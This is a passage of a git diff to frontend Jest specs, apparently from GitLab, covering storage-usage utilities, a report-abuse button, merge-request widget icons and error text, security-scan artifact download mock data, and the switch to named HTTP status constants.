+ }, {});
+
+ const typesWithStats = getStorageTypesFromProjectStatistics(projectStatistics, helpLinks);
+
+ typesWithStats.forEach((type) => {
+ const key = trimTypeId(type.storageType.id);
+ expect(type.storageType.helpPath).toBe(helpLinks[key]);
+ });
+ });
+});
+describe('parseGetProjectStorageResults', () => {
+ it('parses project statistics correctly', () => {
+ expect(
+ parseGetProjectStorageResults(
+ mockGetProjectStorageStatisticsGraphQLResponse.data,
+ defaultProjectProvideValues.helpLinks,
+ ),
+ ).toMatchObject(projectData);
+ });
+
+ it('includes storage type with size of 0 in returned value', () => {
+ const mockedResponse = cloneDeep(mockGetProjectStorageStatisticsGraphQLResponse.data);
+ // ensuring a specific storage type item has size of 0
+ mockedResponse.project.statistics.repositorySize = 0;
+
+ const response = parseGetProjectStorageResults(
+ mockedResponse,
+ defaultProjectProvideValues.helpLinks,
+ );
+
+ expect(response.storage.storageTypes).toEqual(
+ expect.arrayContaining([
+ {
+ storageType: expect.any(Object),
+ value: 0,
+ },
+ ]),
+ );
+ });
+});
+
+describe('descendingStorageUsageSort', () => {
+ it('sorts items by a given key in descending order', () => {
+ const items = [{ k: 1 }, { k: 3 }, { k: 2 }];
+
+ const sorted = [...items].sort(descendingStorageUsageSort('k'));
+
+ const expectedSorted = [{ k: 3 }, { k: 2 }, { k: 1 }];
+ expect(sorted).toEqual(expectedSorted);
+ });
+});
diff --git a/spec/frontend/users/profile/components/report_abuse_button_spec.js b/spec/frontend/users/profile/components/report_abuse_button_spec.js
new file mode 100644
index 00000000000..7ad28566f49
--- /dev/null
+++ b/spec/frontend/users/profile/components/report_abuse_button_spec.js
@@ -0,0 +1,79 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
+
+import ReportAbuseButton from '~/users/profile/components/report_abuse_button.vue';
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
+
+describe('ReportAbuseButton', () => {
+ let wrapper;
+
+ const ACTION_PATH = '/abuse_reports/add_category';
+ const USER_ID = '1';
+ const REPORTED_FROM_URL = 'http://example.com';
+
+ const createComponent = (props) => {
+ wrapper = shallowMountExtended(ReportAbuseButton, {
+ propsData: {
+ ...props,
+ },
+ provide: {
+ reportAbusePath: ACTION_PATH,
+ reportedUserId: USER_ID,
+ reportedFromUrl: REPORTED_FROM_URL,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ const findReportAbuseButton = () => wrapper.findComponent(GlButton);
+ const findAbuseCategorySelector = () => wrapper.findComponent(AbuseCategorySelector);
+
+ it('renders report abuse button', () => {
+ expect(findReportAbuseButton().exists()).toBe(true);
+
+ expect(findReportAbuseButton().props()).toMatchObject({
+ category: 'primary',
+ icon: 'error',
+ });
+
+ expect(findReportAbuseButton().attributes('aria-label')).toBe(
+ wrapper.vm.$options.i18n.reportAbuse,
+ );
+ });
+
+ it('renders abuse category selector with the drawer initially closed', () => {
+ expect(findAbuseCategorySelector().exists()).toBe(true);
+
+ expect(findAbuseCategorySelector().props('showDrawer')).toBe(false);
+ });
+
+ describe('when button is clicked', () => {
+ beforeEach(async () => {
+ await findReportAbuseButton().vm.$emit('click');
+ });
+
+ it('opens the abuse category selector', () => {
+ expect(findAbuseCategorySelector().props('showDrawer')).toBe(true);
+ });
+
+ it('closes the abuse category selector', async () => {
+ await findAbuseCategorySelector().vm.$emit('close-drawer');
+
+ expect(findAbuseCategorySelector().props('showDrawer')).toBe(false);
+ });
+ });
+
+ describe('when user hovers out of the button', () => {
+ it(`should emit ${BV_HIDE_TOOLTIP} to close the tooltip`, () => {
+ jest.spyOn(wrapper.vm.$root, '$emit');
+
+ findReportAbuseButton().vm.$emit('mouseout');
+
+ expect(wrapper.vm.$root.$emit).toHaveBeenCalledWith(BV_HIDE_TOOLTIP);
+ });
+ });
+});
diff --git a/spec/frontend/vue_merge_request_widget/components/mr_collapsible_extension_spec.js b/spec/frontend/vue_merge_request_widget/components/mr_collapsible_extension_spec.js
index c253dc63f23..81f266d8070 100644
--- a/spec/frontend/vue_merge_request_widget/components/mr_collapsible_extension_spec.js
+++ b/spec/frontend/vue_merge_request_widget/components/mr_collapsible_extension_spec.js
@@ -42,8 +42,8 @@ describe('Merge Request Collapsible Extension', () => {
expect(wrapper.find('[data-testid="collapsed-header"]').text()).toBe('hello there');
});
- it('renders chevron-lg-right icon', () => {
- expect(findIcon().props('name')).toBe('chevron-lg-right');
+ it('renders chevron-right icon', () => {
+ expect(findIcon().props('name')).toBe('chevron-right');
});
describe('onClick', () => {
@@ -60,8 +60,8 @@ describe('Merge Request Collapsible Extension', () => {
expect(findTitle().text()).toBe('Collapse');
});
- it('renders chevron-lg-down icon', () => {
- expect(findIcon().props('name')).toBe('chevron-lg-down');
+ it('renders chevron-down icon', () => {
+ expect(findIcon().props('name')).toBe('chevron-down');
});
});
});
diff --git a/spec/frontend/vue_merge_request_widget/components/states/__snapshots__/mr_widget_auto_merge_enabled_spec.js.snap b/spec/frontend/vue_merge_request_widget/components/states/__snapshots__/mr_widget_auto_merge_enabled_spec.js.snap
deleted file mode 100644
index 4077564486c..00000000000
--- a/spec/frontend/vue_merge_request_widget/components/states/__snapshots__/mr_widget_auto_merge_enabled_spec.js.snap
+++ /dev/null
@@ -1,163 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`MRWidgetAutoMergeEnabled template should have correct elements 1`] = `
-<div
- class="mr-widget-body media gl-display-flex gl-align-items-center"
->
- <div
- class="gl-w-6 gl-h-6 gl-display-flex gl-align-self-start gl-mr-3"
- >
- <div
- class="gl-display-flex gl-m-auto"
- >
- <div
- class="gl-mr-3 gl-p-2 gl-m-0! gl-text-blue-500 gl-w-6 gl-p-2"
- >
- <div
- class="gl-rounded-full gl-relative gl-display-flex mr-widget-extension-icon"
- >
- <div
- class="gl-absolute gl-top-half gl-left-50p gl-translate-x-n50 gl-display-flex gl-m-auto"
- >
- <div
- class="gl-display-flex gl-m-auto gl-translate-y-n50"
- >
- <svg
- aria-label="Scheduled "
- class="gl-display-block gl-icon s12"
- data-qa-selector="status_scheduled_icon"
- data-testid="status-scheduled-icon"
- role="img"
- >
- <use
- href="#status-scheduled"
- />
- </svg>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
-
- <div
- class="gl-display-flex gl-w-full"
- >
- <div
- class="media-body gl-display-flex gl-align-items-center"
- >
-
- <h4
- class="gl-mr-3"
- data-testid="statusText"
- >
- Set by to be merged automatically when the pipeline succeeds
- </h4>
-
- <div
- class="gl-display-flex gl-font-size-0 gl-ml-auto gl-gap-3"
- >
- <div
- class="gl-display-flex gl-align-items-flex-start"
- >
- <div
- class="dropdown b-dropdown gl-dropdown gl-display-block gl-md-display-none! btn-group"
- lazy=""
- no-caret=""
- title="Options"
- >
- <!---->
- <button
- aria-expanded="false"
- aria-haspopup="true"
- class="btn dropdown-toggle btn-default btn-sm gl-p-2! gl-button gl-dropdown-toggle btn-default-tertiary dropdown-icon-only dropdown-toggle-no-caret"
- type="button"
- >
- <!---->
-
- <svg
- aria-hidden="true"
- class="dropdown-icon gl-icon s16"
- data-testid="ellipsis_v-icon"
- role="img"
- >
- <use
- href="#ellipsis_v"
- />
- </svg>
-
- <span
- class="gl-dropdown-button-text gl-sr-only"
- >
-
- </span>
-
- <svg
- aria-hidden="true"
- class="gl-button-icon dropdown-chevron gl-icon s16"
- data-testid="chevron-down-icon"
- role="img"
- >
- <use
- href="#chevron-down"
- />
- </svg>
- </button>
- <ul
- class="dropdown-menu dropdown-menu-right"
- role="menu"
- tabindex="-1"
- >
- <!---->
- </ul>
- </div>
-
- <button
- class="btn gl-display-none gl-md-display-block gl-float-left btn-confirm btn-sm gl-button btn-confirm-tertiary js-cancel-auto-merge"
- data-qa-selector="cancel_auto_merge_button"
- data-testid="cancelAutomaticMergeButton"
- type="button"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
-
- Cancel auto-merge
-
- </span>
- </button>
- </div>
- </div>
- </div>
-
- <div
- class="gl-md-display-none gl-border-l-1 gl-border-l-solid gl-border-gray-100 gl-ml-3 gl-pl-3 gl-h-6 gl-mt-1"
- >
- <button
- class="btn gl-vertical-align-top btn-default btn-sm gl-button btn-default-tertiary btn-icon"
- title="Collapse merge details"
- type="button"
- >
- <!---->
-
- <svg
- aria-hidden="true"
- class="gl-button-icon gl-icon s16"
- data-testid="chevron-lg-up-icon"
- role="img"
- >
- <use
- href="#chevron-lg-up"
- />
- </svg>
-
- <!---->
- </button>
- </div>
- </div>
-</div>
-`;
diff --git a/spec/frontend/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled_spec.js b/spec/frontend/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled_spec.js
index 5b9f30dfb86..fef5fee5f19 100644
--- a/spec/frontend/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled_spec.js
+++ b/spec/frontend/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled_spec.js
@@ -128,14 +128,6 @@ describe('MRWidgetAutoMergeEnabled', () => {
});
describe('template', () => {
- it('should have correct elements', () => {
- factory({
- ...defaultMrProps(),
- });
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
it('should disable cancel auto merge button when the action is in progress', async () => {
factory({
...defaultMrProps(),
diff --git a/spec/frontend/vue_merge_request_widget/components/widget/widget_spec.js b/spec/frontend/vue_merge_request_widget/components/widget/widget_spec.js
index 4c93c88de16..7e941c5ceaa 100644
--- a/spec/frontend/vue_merge_request_widget/components/widget/widget_spec.js
+++ b/spec/frontend/vue_merge_request_widget/components/widget/widget_spec.js
@@ -1,6 +1,6 @@
import { nextTick } from 'vue';
import * as Sentry from '@sentry/browser';
-import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
import HelpPopover from '~/vue_shared/components/help_popover.vue';
import waitForPromises from 'helpers/wait_for_promises';
import StatusIcon from '~/vue_merge_request_widget/components/extensions/status_icon.vue';
@@ -26,8 +26,8 @@ describe('~/vue_merge_request_widget/components/widget/widget.vue', () => {
const findHelpPopover = () => wrapper.findComponent(HelpPopover);
const findDynamicScroller = () => wrapper.findByTestId('dynamic-content-scroller');
- const createComponent = ({ propsData, slots } = {}) => {
- wrapper = shallowMountExtended(Widget, {
+ const createComponent = ({ propsData, slots, mountFn = shallowMountExtended } = {}) => {
+ wrapper = mountFn(Widget, {
propsData: {
isCollapsible: false,
loadingText: 'Loading widget',
@@ -73,6 +73,13 @@ describe('~/vue_merge_request_widget/components/widget/widget.vue', () => {
expect(findStatusIcon().props()).toMatchObject({ iconName: 'failed', isLoading: false });
});
+ it('displays the error text when :has-error is true', () => {
+ createComponent({
+ propsData: { hasError: true, errorText: 'API error' },
+ });
+ expect(wrapper.findByText('API error').exists()).toBe(true);
+ });
+
it('displays loading icon until request is made and then displays status icon when the request is complete', async () => {
const fetchCollapsedData = jest
.fn()
@@ -425,6 +432,7 @@ describe('~/vue_merge_request_widget/components/widget/widget.vue', () => {
beforeEach(() => {
createComponent({
+ mountFn: mountExtended,
propsData: {
isCollapsible: true,
content,
@@ -437,5 +445,11 @@ describe('~/vue_merge_request_widget/components/widget/widget.vue', () => {
await waitForPromises();
expect(findDynamicScroller().props('items')).toEqual(content);
});
+
+ it('renders the dynamic content inside the dynamic scroller', async () => {
+ findToggleButton().vm.$emit('click');
+ await waitForPromises();
+ expect(wrapper.findByText('Main text for the row').exists()).toBe(true);
+ });
});
});
diff --git a/spec/frontend/vue_merge_request_widget/extensions/security_reports/mock_data.js b/spec/frontend/vue_merge_request_widget/extensions/security_reports/mock_data.js
new file mode 100644
index 00000000000..c7354483e8b
--- /dev/null
+++ b/spec/frontend/vue_merge_request_widget/extensions/security_reports/mock_data.js
@@ -0,0 +1,141 @@
+export const mockArtifacts = () => ({
+ data: {
+ project: {
+ id: 'gid://gitlab/Project/9',
+ mergeRequest: {
+ id: 'gid://gitlab/MergeRequest/1',
+ headPipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/1',
+ jobs: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Ci::Build/14',
+ name: 'sam_scan',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/14/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/14/artifacts/download?file_type=sast',
+ fileType: 'SAST',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ id: 'gid://gitlab/Ci::Build/11',
+ name: 'sast-spotbugs',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/11/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/11/artifacts/download?file_type=sast',
+ fileType: 'SAST',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ id: 'gid://gitlab/Ci::Build/10',
+ name: 'sast-sobelow',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/10/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ id: 'gid://gitlab/Ci::Build/9',
+ name: 'sast-pmd-apex',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/9/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ id: 'gid://gitlab/Ci::Build/8',
+ name: 'sast-eslint',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/8/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/8/artifacts/download?file_type=sast',
+ fileType: 'SAST',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ id: 'gid://gitlab/Ci::Build/7',
+ name: 'secrets',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/7/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/root/security-reports/-/jobs/7/artifacts/download?file_type=secret_detection',
+ fileType: 'SECRET_DETECTION',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ ],
+ __typename: 'CiJobConnection',
+ },
+ __typename: 'Pipeline',
+ },
+ __typename: 'MergeRequest',
+ },
+ __typename: 'Project',
+ },
+ },
+});
diff --git a/spec/frontend/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports_spec.js b/spec/frontend/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports_spec.js
new file mode 100644
index 00000000000..16c2adaffaf
--- /dev/null
+++ b/spec/frontend/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports_spec.js
@@ -0,0 +1,93 @@
+import Vue from 'vue';
+import { GlDropdown } from '@gitlab/ui';
+import VueApollo from 'vue-apollo';
+import MRSecurityWidget from '~/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue';
+import Widget from '~/vue_merge_request_widget/components/widget/widget.vue';
+import securityReportMergeRequestDownloadPathsQuery from '~/vue_merge_request_widget/extensions/security_reports/graphql/security_report_merge_request_download_paths.query.graphql';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { mockArtifacts } from './mock_data';
+
+Vue.use(VueApollo);
+
+describe('vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue', () => {
+ let wrapper;
+
+ const createComponent = ({ propsData, mockResponse = mockArtifacts() } = {}) => {
+ wrapper = mountExtended(MRSecurityWidget, {
+ apolloProvider: createMockApollo([
+ [securityReportMergeRequestDownloadPathsQuery, jest.fn().mockResolvedValue(mockResponse)],
+ ]),
+ propsData: {
+ ...propsData,
+ mr: {},
+ },
+ });
+ };
+
+ const findWidget = () => wrapper.findComponent(Widget);
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownItem = (name) => wrapper.findByTestId(name);
+
+ describe('with data', () => {
+ beforeEach(async () => {
+ createComponent();
+ await waitForPromises();
+ });
+
+ it('displays the correct message', () => {
+ expect(wrapper.findByText('Security scans have run').exists()).toBe(true);
+ });
+
+ it('displays the help popover', () => {
+ expect(findWidget().props('helpPopover')).toEqual({
+ content: {
+ learnMorePath:
+ '/help/user/application_security/index#view-security-scan-information-in-merge-requests',
+ text:
+ 'New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch.',
+ },
+ options: {
+ title: 'Security scan results',
+ },
+ });
+ });
+
+ it.each`
+ artifactName | exists | downloadPath
+ ${'sam_scan'} | ${true} | ${'/root/security-reports/-/jobs/14/artifacts/download?file_type=sast'}
+ ${'sast-spotbugs'} | ${true} | ${'/root/security-reports/-/jobs/11/artifacts/download?file_type=sast'}
+ ${'sast-sobelow'} | ${false} | ${''}
+ ${'sast-pmd-apex'} | ${false} | ${''}
+ ${'sast-eslint'} | ${true} | ${'/root/security-reports/-/jobs/8/artifacts/download?file_type=sast'}
+ ${'secrets'} | ${true} | ${'/root/security-reports/-/jobs/7/artifacts/download?file_type=secret_detection'}
+ `(
+ 'has a dropdown to download $artifactName artifacts',
+ ({ artifactName, exists, downloadPath }) => {
+ expect(findDropdown().exists()).toBe(true);
+ expect(wrapper.findByText(`Download ${artifactName}`).exists()).toBe(exists);
+
+ if (exists) {
+ const dropdownItem = findDropdownItem(`download-${artifactName}`);
+ expect(dropdownItem.attributes('download')).toBe('');
+ expect(dropdownItem.attributes('href')).toBe(downloadPath);
+ }
+ },
+ );
+ });
+
+ describe('without data', () => {
+ beforeEach(() => {
+ createComponent({ mockResponse: { data: { project: { id: 'project-id' } } } });
+ });
+
+ it('displays the correct message', () => {
+ expect(wrapper.findByText('Security scans have run').exists()).toBe(true);
+ });
+
+ it('should not display the artifacts dropdown', () => {
+ expect(findDropdown().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/vue_merge_request_widget/extensions/test_report/index_spec.js b/spec/frontend/vue_merge_request_widget/extensions/test_report/index_spec.js
index baef247b649..548b68bc103 100644
--- a/spec/frontend/vue_merge_request_widget/extensions/test_report/index_spec.js
+++ b/spec/frontend/vue_merge_request_widget/extensions/test_report/index_spec.js
@@ -8,7 +8,11 @@ import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
import extensionsContainer from '~/vue_merge_request_widget/components/extensions/container';
import { registerExtension } from '~/vue_merge_request_widget/components/extensions';
-import httpStatusCodes, { HTTP_STATUS_NO_CONTENT } from '~/lib/utils/http_status';
+import {
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
+ HTTP_STATUS_NO_CONTENT,
+ HTTP_STATUS_OK,
+} from '~/lib/utils/http_status';
import TestCaseDetails from '~/pipelines/components/test_reports/test_case_details.vue';
import { failedReport } from 'jest/ci/reports/mock_data/mock_data';
@@ -57,7 +61,7 @@ describe('Test report extension', () => {
};
const createExpandedWidgetWithData = async (data = mixedResultsTestReports) => {
- mockApi(httpStatusCodes.OK, data);
+ mockApi(HTTP_STATUS_OK, data);
createComponent();
await waitForPromises();
findToggleCollapsedButton().trigger('click');
@@ -75,7 +79,7 @@ describe('Test report extension', () => {
describe('summary', () => {
it('displays loading state initially', () => {
- mockApi(httpStatusCodes.OK);
+ mockApi(HTTP_STATUS_OK);
createComponent();
expect(wrapper.text()).toContain(i18n.loading);
@@ -91,7 +95,7 @@ describe('Test report extension', () => {
});
it('with an error response, displays failed to load text', async () => {
- mockApi(httpStatusCodes.INTERNAL_SERVER_ERROR);
+ mockApi(HTTP_STATUS_INTERNAL_SERVER_ERROR);
createComponent();
await waitForPromises();
@@ -107,7 +111,7 @@ describe('Test report extension', () => {
${'failed test results'} | ${newFailedTestReports} | ${'Test summary: 2 failed, 11 total tests'}
${'resolved failures'} | ${resolvedFailures} | ${'Test summary: 4 fixed test results, 11 total tests'}
`('displays summary text for $description', async ({ mockData, expectedResult }) => {
- mockApi(httpStatusCodes.OK, mockData);
+ mockApi(HTTP_STATUS_OK, mockData);
createComponent();
await waitForPromises();
@@ -116,7 +120,7 @@ describe('Test report extension', () => {
});
it('displays report level recently failed count', async () => {
- mockApi(httpStatusCodes.OK, recentFailures);
+ mockApi(HTTP_STATUS_OK, recentFailures);
createComponent();
await waitForPromises();
@@ -127,7 +131,7 @@ describe('Test report extension', () => {
});
it('displays a link to the full report', async () => {
- mockApi(httpStatusCodes.OK);
+ mockApi(HTTP_STATUS_OK);
createComponent();
await waitForPromises();
@@ -137,7 +141,7 @@ describe('Test report extension', () => {
});
it('hides copy failed tests button when there are no failing tests', async () => {
- mockApi(httpStatusCodes.OK);
+ mockApi(HTTP_STATUS_OK);
createComponent();
await waitForPromises();
@@ -146,7 +150,7 @@ describe('Test report extension', () => {
});
it('displays copy failed tests button when there are failing tests', async () => {
- mockApi(httpStatusCodes.OK, newFailedTestReports);
+ mockApi(HTTP_STATUS_OK, newFailedTestReports);
createComponent();
await waitForPromises();
@@ -159,7 +163,7 @@ describe('Test report extension', () => {
});
it('hides copy failed tests button when endpoint returns null files', async () => {
- mockApi(httpStatusCodes.OK, newFailedTestWithNullFilesReport);
+ mockApi(HTTP_STATUS_OK, newFailedTestWithNullFilesReport);
createComponent();
await waitForPromises();
@@ -168,7 +172,7 @@ describe('Test report extension', () => {
});
it('copy failed tests button updates tooltip text when clicked', async () => {
- mockApi(httpStatusCodes.OK, newFailedTestReports);
+ mockApi(HTTP_STATUS_OK, newFailedTestReports);
createComponent();
await waitForPromises();
@@ -195,7 +199,7 @@ describe('Test report extension', () => {
});
it('shows an error when a suite has a parsing error', async () => {
- mockApi(httpStatusCodes.OK, reportWithParsingErrors);
+ mockApi(HTTP_STATUS_OK, reportWithParsingErrors);
createComponent();
await waitForPromises();
diff --git a/spec/frontend/vue_merge_request_widget/extentions/accessibility/index_spec.js b/spec/frontend/vue_merge_request_widget/extentions/accessibility/index_spec.js
index a06ad930abe..01049e54a7f 100644
--- a/spec/frontend/vue_merge_request_widget/extentions/accessibility/index_spec.js
+++ b/spec/frontend/vue_merge_request_widget/extentions/accessibility/index_spec.js
@@ -6,7 +6,7 @@ import axios from '~/lib/utils/axios_utils';
import extensionsContainer from '~/vue_merge_request_widget/components/extensions/container';
import { registerExtension } from '~/vue_merge_request_widget/components/extensions';
import accessibilityExtension from '~/vue_merge_request_widget/extensions/accessibility';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { accessibilityReportResponseErrors, accessibilityReportResponseSuccess } from './mock_data';
describe('Accessibility extension', () => {
@@ -45,7 +45,7 @@ describe('Accessibility extension', () => {
describe('summary', () => {
it('displays loading text', () => {
- mockApi(httpStatusCodes.OK, accessibilityReportResponseErrors);
+ mockApi(HTTP_STATUS_OK, accessibilityReportResponseErrors);
createComponent();
@@ -53,7 +53,7 @@ describe('Accessibility extension', () => {
});
it('displays failed loading text', async () => {
- mockApi(httpStatusCodes.INTERNAL_SERVER_ERROR);
+ mockApi(HTTP_STATUS_INTERNAL_SERVER_ERROR);
createComponent();
@@ -63,7 +63,7 @@ describe('Accessibility extension', () => {
});
it('displays detected errors and is expandable', async () => {
- mockApi(httpStatusCodes.OK, accessibilityReportResponseErrors);
+ mockApi(HTTP_STATUS_OK, accessibilityReportResponseErrors);
createComponent();
@@ -76,7 +76,7 @@ describe('Accessibility extension', () => {
});
it('displays no detected errors and is not expandable', async () => {
- mockApi(httpStatusCodes.OK, accessibilityReportResponseSuccess);
+ mockApi(HTTP_STATUS_OK, accessibilityReportResponseSuccess);
createComponent();
@@ -91,7 +91,7 @@ describe('Accessibility extension', () => {
describe('expanded data', () => {
beforeEach(async () => {
- mockApi(httpStatusCodes.OK, accessibilityReportResponseErrors);
+ mockApi(HTTP_STATUS_OK, accessibilityReportResponseErrors);
createComponent();
diff --git a/spec/frontend/vue_merge_request_widget/extentions/code_quality/index_spec.js b/spec/frontend/vue_merge_request_widget/extentions/code_quality/index_spec.js
index f0ebbb1a82e..67b327217ef 100644
--- a/spec/frontend/vue_merge_request_widget/extentions/code_quality/index_spec.js
+++ b/spec/frontend/vue_merge_request_widget/extentions/code_quality/index_spec.js
@@ -7,10 +7,18 @@ import axios from '~/lib/utils/axios_utils';
import extensionsContainer from '~/vue_merge_request_widget/components/extensions/container';
import { registerExtension } from '~/vue_merge_request_widget/components/extensions';
import codeQualityExtension from '~/vue_merge_request_widget/extensions/code_quality';
-import httpStatusCodes, { HTTP_STATUS_NO_CONTENT } from '~/lib/utils/http_status';
-import { i18n } from '~/vue_merge_request_widget/extensions/code_quality/constants';
+import {
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
+ HTTP_STATUS_NO_CONTENT,
+ HTTP_STATUS_OK,
+} from '~/lib/utils/http_status';
+import {
+ i18n,
+ codeQualityPrefixes,
+} from '~/vue_merge_request_widget/extensions/code_quality/constants';
import {
codeQualityResponseNewErrors,
+ codeQualityResponseResolvedErrors,
codeQualityResponseResolvedAndNewErrors,
codeQualityResponseNoErrors,
} from './mock_data';
@@ -29,6 +37,10 @@ describe('Code Quality extension', () => {
const findToggleCollapsedButton = () => wrapper.findByTestId('toggle-button');
const findAllExtensionListItems = () => wrapper.findAllByTestId('extension-list-item');
+ const isCollapsable = () => wrapper.findByTestId('toggle-button').exists();
+ const getNeutralIcon = () => wrapper.findByTestId('status-neutral-icon').exists();
+ const getAlertIcon = () => wrapper.findByTestId('status-alert-icon').exists();
+ const getSuccessIcon = () => wrapper.findByTestId('status-success-icon').exists();
const createComponent = () => {
wrapper = mountExtended(extensionsContainer, {
@@ -55,7 +67,7 @@ describe('Code Quality extension', () => {
describe('summary', () => {
it('displays loading text', () => {
- mockApi(httpStatusCodes.OK, codeQualityResponseNewErrors);
+ mockApi(HTTP_STATUS_OK, codeQualityResponseNewErrors);
createComponent();
@@ -72,28 +84,57 @@ describe('Code Quality extension', () => {
});
it('displays failed loading text', async () => {
- mockApi(httpStatusCodes.INTERNAL_SERVER_ERROR);
+ mockApi(HTTP_STATUS_INTERNAL_SERVER_ERROR);
createComponent();
await waitForPromises();
+
expect(wrapper.text()).toBe(i18n.error);
+ expect(isCollapsable()).toBe(false);
});
- it('displays correct single Report', async () => {
- mockApi(httpStatusCodes.OK, codeQualityResponseNewErrors);
+ it('displays new Errors finding', async () => {
+ mockApi(HTTP_STATUS_OK, codeQualityResponseNewErrors);
createComponent();
await waitForPromises();
+ expect(wrapper.text()).toBe(
+ i18n
+ .singularCopy(
+ i18n.findings(codeQualityResponseNewErrors.new_errors, codeQualityPrefixes.new),
+ )
+ .replace(/%{strong_start}/g, '')
+ .replace(/%{strong_end}/g, ''),
+ );
+ expect(isCollapsable()).toBe(true);
+ expect(getAlertIcon()).toBe(true);
+ });
+
+ it('displays resolved Errors finding', async () => {
+ mockApi(HTTP_STATUS_OK, codeQualityResponseResolvedErrors);
+ createComponent();
+
+ await waitForPromises();
expect(wrapper.text()).toBe(
- i18n.degradedCopy(i18n.singularReport(codeQualityResponseNewErrors.new_errors)),
+ i18n
+ .singularCopy(
+ i18n.findings(
+ codeQualityResponseResolvedErrors.resolved_errors,
+ codeQualityPrefixes.fixed,
+ ),
+ )
+ .replace(/%{strong_start}/g, '')
+ .replace(/%{strong_end}/g, ''),
);
+ expect(isCollapsable()).toBe(true);
+ expect(getSuccessIcon()).toBe(true);
});
it('displays quality improvement and degradation', async () => {
- mockApi(httpStatusCodes.OK, codeQualityResponseResolvedAndNewErrors);
+ mockApi(HTTP_STATUS_OK, codeQualityResponseResolvedAndNewErrors);
createComponent();
await waitForPromises();
@@ -102,28 +143,38 @@ describe('Code Quality extension', () => {
expect(wrapper.text()).toBe(
i18n
.improvementAndDegradationCopy(
- i18n.pluralReport(codeQualityResponseResolvedAndNewErrors.resolved_errors),
- i18n.pluralReport(codeQualityResponseResolvedAndNewErrors.new_errors),
+ i18n.findings(
+ codeQualityResponseResolvedAndNewErrors.resolved_errors,
+ codeQualityPrefixes.fixed,
+ ),
+ i18n.findings(
+ codeQualityResponseResolvedAndNewErrors.new_errors,
+ codeQualityPrefixes.new,
+ ),
)
.replace(/%{strong_start}/g, '')
.replace(/%{strong_end}/g, ''),
);
+ expect(isCollapsable()).toBe(true);
+ expect(getAlertIcon()).toBe(true);
});
it('displays no detected errors', async () => {
- mockApi(httpStatusCodes.OK, codeQualityResponseNoErrors);
+ mockApi(HTTP_STATUS_OK, codeQualityResponseNoErrors);
createComponent();
await waitForPromises();
expect(wrapper.text()).toBe(i18n.noChanges);
+ expect(isCollapsable()).toBe(false);
+ expect(getNeutralIcon()).toBe(true);
});
});
describe('expanded data', () => {
beforeEach(async () => {
